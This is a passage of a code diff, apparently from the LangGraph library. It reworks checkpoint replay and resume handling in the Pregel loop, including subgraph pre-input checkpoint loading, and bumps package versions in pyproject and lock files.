+        ].get(CONFIG_KEY_REPLAYING, False)
         self._migrate_checkpoint = migrate_checkpoint
         self.trigger_to_nodes = trigger_to_nodes
         self.retry_policy = retry_policy
@@ -451,7 +454,7 @@ class PregelLoop:
             # save the new task
             self.tasks[pushed.id] = pushed
             # match any pending writes to the new task
-            if self.skip_done_tasks:
+            if not self.is_replaying:
                 self._match_writes({pushed.id: pushed})
             # return the new task, to be started if not run before
             return pushed
@@ -515,7 +518,7 @@ class PregelLoop:
             return False
 
         # if there are pending writes from a previous loop, apply them
-        if self.skip_done_tasks and self.checkpoint_pending_writes:
+        if not self.is_replaying and self.checkpoint_pending_writes:
             self._match_writes(self.tasks)
 
         # before execution, check if we should interrupt
@@ -557,8 +560,8 @@ class PregelLoop:
             )
         # clear pending writes
         self.checkpoint_pending_writes.clear()
-        # "not skip_done_tasks" only applies to first tick after resuming
-        self.skip_done_tasks = True
+        # only replay (re-execute) done tasks on the first tick
+        self.is_replaying = False
         # save checkpoint
         self._put_checkpoint({"source": "loop"})
         # after execution, check if we should interrupt
@@ -567,8 +570,9 @@ class PregelLoop:
         ):
             self.status = "interrupt_after"
             raise GraphInterrupt()
-        # unset resuming flag
+        # unset resuming/replaying flags
         self.config[CONF].pop(CONFIG_KEY_RESUMING, None)
+        self.config[CONF].pop(CONFIG_KEY_REPLAYING, None)
 
     def match_cached_writes(self) -> Sequence[PregelExecutableTask]:
         raise NotImplementedError
@@ -618,22 +622,42 @@ class PregelLoop:
     def _first(
         self, *, input_keys: str | Sequence[str], updated_channels: set[str] | None
     ) -> set[str] | None:
-        # resuming from previous checkpoint requires
-        # - finding a previous checkpoint
-        # - receiving None input (outer graph) or RESUMING flag (subgraph)
+        # Resuming from a previous checkpoint requires two things:
+        # 1. A prior checkpoint exists (channel_versions is non-empty)
+        # 2. The input signals continuation (not a fresh run with new input)
         configurable = self.config.get(CONF, {})
-        is_resuming = bool(self.checkpoint["channel_versions"]) and bool(
-            configurable.get(
-                CONFIG_KEY_RESUMING,
-                self.input is None
-                or isinstance(self.input, Command)
-                or (
-                    not self.is_nested
-                    and self.config.get("metadata", {}).get("run_id")
-                    == self.checkpoint_metadata.get("run_id", MISSING)
-                ),
+        has_prior_checkpoint = bool(self.checkpoint["channel_versions"])
+        # For subgraphs, the parent explicitly sets CONFIG_KEY_RESUMING.
+        # For the outer graph, we infer from the input:
+        #   - None input: resume after interrupt (invoke(None, config))
+        #   - Command input: any Command operates on existing state
+        #   - Same run_id: re-entry into an ongoing run (e.g. stream reconnect)
+        input_signals_resume = (
+            self.input is None
+            or isinstance(self.input, Command)
+            or (
+                not self.is_nested
+                and self.config.get("metadata", {}).get("run_id")
+                == self.checkpoint_metadata.get("run_id", MISSING)
             )
         )
+        is_resuming = has_prior_checkpoint and bool(
+            configurable.get(CONFIG_KEY_RESUMING, input_signals_resume)
+        )
+
+        # When replaying from a specific checkpoint, drop cached RESUME
+        # writes so that interrupt() calls re-fire instead of returning
+        # stale values. But if a resume value is being provided (e.g.
+        # Command(resume=...) or CONFIG_KEY_RESUMING), keep them —
+        # multi-interrupt scenarios need previously resolved values preserved.
+        if self.is_replaying:
+            is_resume_with_value = (
+                isinstance(self.input, Command) and self.input.resume is not None
+            ) or configurable.get(CONFIG_KEY_RESUMING, False)
+            if not is_resume_with_value:
+                self.checkpoint_pending_writes = [
+                    w for w in self.checkpoint_pending_writes if w[1] != RESUME
+                ]
 
         # map command to writes
         if isinstance(self.input, Command):
@@ -723,10 +747,17 @@ class PregelLoop:
             self._put_checkpoint({"source": "input"})
         elif CONFIG_KEY_RESUMING not in configurable:
             raise EmptyInputError(f"Received no input for {input_keys}")
-        # update config
+        # Propagate resuming and replaying flags to subgraphs.
+        # When replaying, don't tell subgraphs to resume — they should
+        # re-apply input so that triggers fire naturally.
         if not self.is_nested:
             self.config = patch_configurable(
-                self.config, {CONFIG_KEY_RESUMING: is_resuming}
+                self.config,
+                {
+                    CONFIG_KEY_RESUMING: is_resuming
+                    and not self.is_replaying,
+                    CONFIG_KEY_REPLAYING: self.is_replaying,
+                },
             )
         # set flag
         self.status = "pending"
@@ -1078,13 +1109,64 @@ class SyncPregelLoop(PregelLoop, AbstractContextManager):
             },
         )
 
+    def _get_checkpoint_before_invocation(self) -> RunnableConfig | None:
+        """Find the config for the subgraph checkpoint from just before a
+        previous invocation.
+
+        When a parent graph replays from an earlier checkpoint, it re-invokes
+        the subgraph with the same input. Instead of loading the subgraph's
+        latest checkpoint (which may be from a later parent step), we find the
+        state the subgraph was in *before* the original invocation so that
+        `_first()` can re-apply the input naturally — no trigger hacks needed.
+
+        We find the `source="input"` checkpoint that was created under the
+        matching parent checkpoint, then return the config for its parent
+        (the pre-input state). The caller uses this config with `get_tuple()`
+        to load the actual checkpoint.
+
+        Returns None to start fresh if no matching checkpoint exists or if
+        this is the subgraph's first invocation."""
+        checkpoint_map = self.config[CONF].get(CONFIG_KEY_CHECKPOINT_MAP, {})
+        parent_ns = NS_SEP.join(self.checkpoint_ns[:-1]) if self.checkpoint_ns else ""
+        parent_checkpoint_id = checkpoint_map.get(parent_ns)
+        if not parent_checkpoint_id or not self.checkpointer:
+            return None
+        for saved in self.checkpointer.list(
+            self.checkpoint_config,
+            filter={
+                "source": "input",
+                "parents": {parent_ns: parent_checkpoint_id},
+            },
+            limit=1,
+        ):
+            return saved.parent_config  # None for first invocation → start fresh
+        return None  # no matching checkpoint (e.g. fork) — start fresh
+
     # context manager
 
     def __enter__(self) -> Self:
-        if self.checkpointer:
-            saved = self.checkpointer.get_tuple(self.checkpoint_config)
-        else:
+        is_subgraph_replay = self.config[CONF].get(
+            CONFIG_KEY_REPLAYING
+        ) and not self.checkpoint_config.get(CONF, {}).get(CONFIG_KEY_CHECKPOINT_ID)
+
+        if not self.checkpointer:
             saved = None
+        elif is_subgraph_replay:
+            # Subgraph replay: load the pre-input checkpoint so _first()
+            # can re-apply input naturally — triggers fire without hacks.
+            pre_input_config = self._get_checkpoint_before_invocation()
+            saved = (
+                self.checkpointer.get_tuple(pre_input_config)
+                if pre_input_config
+                else None
+            )
+        else:
+            # Normal case: fetch the most recent checkpoint for this
+            # graph/thread. If a specific checkpoint_id is in the config,
+            # fetch that exact checkpoint; otherwise fetch the latest one.
+            # Returns None on first invocation (no checkpoints exist yet).
+            saved = self.checkpointer.get_tuple(self.checkpoint_config)
+
         if saved is None:
             saved = CheckpointTuple(
                 self.checkpoint_config, empty_checkpoint(), {"step": -2}, None, []
@@ -1109,7 +1191,6 @@ class SyncPregelLoop(PregelLoop, AbstractContextManager):
             if saved.pending_writes is not None
             else []
         )
-
         self.submit = self.stack.enter_context(BackgroundExecutor(self.config))
         self.channels, self.managed = channels_from_checkpoint(
             self.specs, self.checkpoint
@@ -1257,13 +1338,49 @@ class AsyncPregelLoop(PregelLoop, AbstractAsyncContextManager):
             },
         )
 
+    async def _aget_checkpoint_before_invocation(self) -> RunnableConfig | None:
+        """Async version of `_get_checkpoint_before_invocation`."""
+        checkpoint_map = self.config[CONF].get(CONFIG_KEY_CHECKPOINT_MAP, {})
+        parent_ns = NS_SEP.join(self.checkpoint_ns[:-1]) if self.checkpoint_ns else ""
+        parent_checkpoint_id = checkpoint_map.get(parent_ns)
+        if not parent_checkpoint_id or not self.checkpointer:
+            return None
+        async for saved in self.checkpointer.alist(
+            self.checkpoint_config,
+            filter={
+                "source": "input",
+                "parents": {parent_ns: parent_checkpoint_id},
+            },
+            limit=1,
+        ):
+            return saved.parent_config  # None for first invocation → start fresh
+        return None  # no matching checkpoint (e.g. fork) — start fresh
+
     # context manager
 
     async def __aenter__(self) -> Self:
-        if self.checkpointer:
-            saved = await self.checkpointer.aget_tuple(self.checkpoint_config)
-        else:
+        is_subgraph_replay = self.config[CONF].get(
+            CONFIG_KEY_REPLAYING
+        ) and not self.checkpoint_config.get(CONF, {}).get(CONFIG_KEY_CHECKPOINT_ID)
+
+        if not self.checkpointer:
             saved = None
+        elif is_subgraph_replay:
+            # Subgraph replay: load the pre-input checkpoint so _first()
+            # can re-apply input naturally — triggers fire without hacks.
+            pre_input_config = await self._aget_checkpoint_before_invocation()
+            saved = (
+                await self.checkpointer.aget_tuple(pre_input_config)
+                if pre_input_config
+                else None
+            )
+        else:
+            # Normal case: fetch the most recent checkpoint for this
+            # graph/thread. If a specific checkpoint_id is in the config,
+            # fetch that exact checkpoint; otherwise fetch the latest one.
+            # Returns None on first invocation (no checkpoints exist yet).
+            saved = await self.checkpointer.aget_tuple(self.checkpoint_config)
+
         if saved is None:
             saved = CheckpointTuple(
                 self.checkpoint_config, empty_checkpoint(), {"step": -2}, None, []
@@ -1288,7 +1405,6 @@ class AsyncPregelLoop(PregelLoop, AbstractAsyncContextManager):
             if saved.pending_writes is not None
             else []
         )
-
         self.submit = await self.stack.enter_async_context(
             AsyncBackgroundExecutor(self.config)
         )

libs/langgraph/pyproject.toml

@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
 
 [project]
 name = "langgraph"
-version = "1.0.10rc1"
+version = "1.0.10"
 description = "Building stateful, multi-actor applications with LLMs"
 authors = []
 requires-python = ">=3.10"

libs/langgraph/uv.lock

@@ -1367,7 +1367,7 @@ wheels = [
 
 [[package]]
 name = "langgraph"
-version = "1.0.10rc1"
+version = "1.0.10"
 source = { editable = "." }
 dependencies = [
     { name = "langchain-core" },
@@ -1548,7 +1548,7 @@ wheels = [
 
 [[package]]
 name = "langgraph-checkpoint"
-version = "4.0.1rc2"
+version = "4.0.1"
 source = { editable = "../checkpoint" }
 dependencies = [
     { name = "langchain-core" },

libs/prebuilt/uv.lock

@@ -268,7 +268,7 @@ wheels = [
 
 [[package]]
 name = "langgraph"
-version = "1.0.10rc1"
+version = "1.0.10"
 source = { editable = "../langgraph" }
 dependencies = [
     { name = "langchain-core" },
@@ -352,7 +352,7 @@ test = [
 
 [[package]]
 name = "langgraph-checkpoint"
-version = "4.0.1rc2"
+version = "4.0.1"
 source = { editable = "../checkpoint" }
 dependencies = [
     { name = "langchain-core" },

libs/sdk-py/uv.lock

@@ -265,7 +265,7 @@ wheels = [
 
 [[package]]
 name = "langgraph"
-version = "1.0.10rc1"
+version = "1.0.10"
 source = { editable = "../langgraph" }
 dependencies = [
     { name = "langchain-core" },
@@ -349,7 +349,7 @@ test = [
 
 [[package]]
 name = "langgraph-checkpoint"
-version = "4.0.1rc2"
+version = "4.0.1"
 source = { editable = "../checkpoint" }
 dependencies = [
     { name = "langchain-core" },